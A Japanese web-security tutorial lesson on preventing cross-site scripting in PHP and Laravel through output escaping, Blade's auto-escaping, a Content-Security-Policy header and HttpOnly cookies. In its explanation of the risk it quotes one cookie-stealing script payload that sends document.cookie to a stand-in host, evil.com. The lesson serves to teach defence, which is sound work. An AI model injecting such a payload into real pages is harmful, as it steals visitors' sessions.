第53回: XSS対策実践 — 出力時のエスケープを「習慣」にしてスクリプト攻撃を防ぐ

章: 第6章: パフォーマンスとインフラ

ユーザーの入力をそのまま画面に出力していませんか?

XSS(クロスサイトスクリプティング)は、ページに悪意あるスクリプトを埋め込む攻撃で、ユーザーのCookieやセッション情報を盗まれるリスクがあります。出力時のエスケープを徹底することで根本的に防御できます。

エスケープを怠ると何が起きるか

<script>document.location='https://evil.com?c='+document.cookie</script> のような文字列がデータベースに保存され、ページに表示されると、閲覧者全員のセッションが窃取されます。これは修正が難しく、ユーザー信頼を大きく損なうインシデントです。

XSS対策の方法比較

対策 方法 効果
出力エスケープ htmlspecialchars() / Blade {{ }} HTMLタグを無効化
Content-Security-Policy HTTPヘッダーで許可するスクリプトを制限 埋め込みスクリプトの実行をブロック
HTTPOnly Cookie HttpOnly フラグをCookieに付与 JSからCookieを読めなくする
入力サニタイズ 不正な文字を除去 補助的対策(出力エスケープと併用)

チェックポイント: htmlspecialchars() を使う際は必ず ENT_QUOTES と文字コード UTF-8 を指定しましょう。Bladeの {{ }} はデフォルトでエスケープ済みなので安全ですが、{!! !!} を使う箇所は「信頼できるHTMLのみ」という前提を守っているか定期的にレビューしてください。

コードサンプル


<?php
// NG: ユーザー入力をそのまま出力すると危険
// echo $_GET['name'];

// OK: htmlspecialcharsでエスケープ
$name = htmlspecialchars($_GET['name'] ?? '', ENT_QUOTES, 'UTF-8');
echo $name;

// Bladeはデフォルトでエスケープ済み
// {{ $user->name }}   安全
// {!! $html !!}       未エスケープ(信頼できるHTMLのみ)

// Content-Security-Policyヘッダも有効
header("Content-Security-Policy: default-src 'self'");

まとめ & 次のステップ

  • XSSは出力時のエスケープで根本的に防御できます
  • Bladeの {{ }} を使えば自動エスケープされるため、積極的に活用しましょう
  • {!! !!} を使う箇所は必ずレビューし、ユーザー入力を渡さないことを確認しましょう
  • Content-Security-Policy ヘッダーで埋め込みスクリプトの実行を制限しましょう
  • HttpOnly フラグをセッションCookieに設定し、JSからのアクセスを防ぎましょう

次回は OWASP Top 10 詳解 を学びます。Webアプリの代表的な脆弱性と対策を体系的に整理しましょう。

Related Articles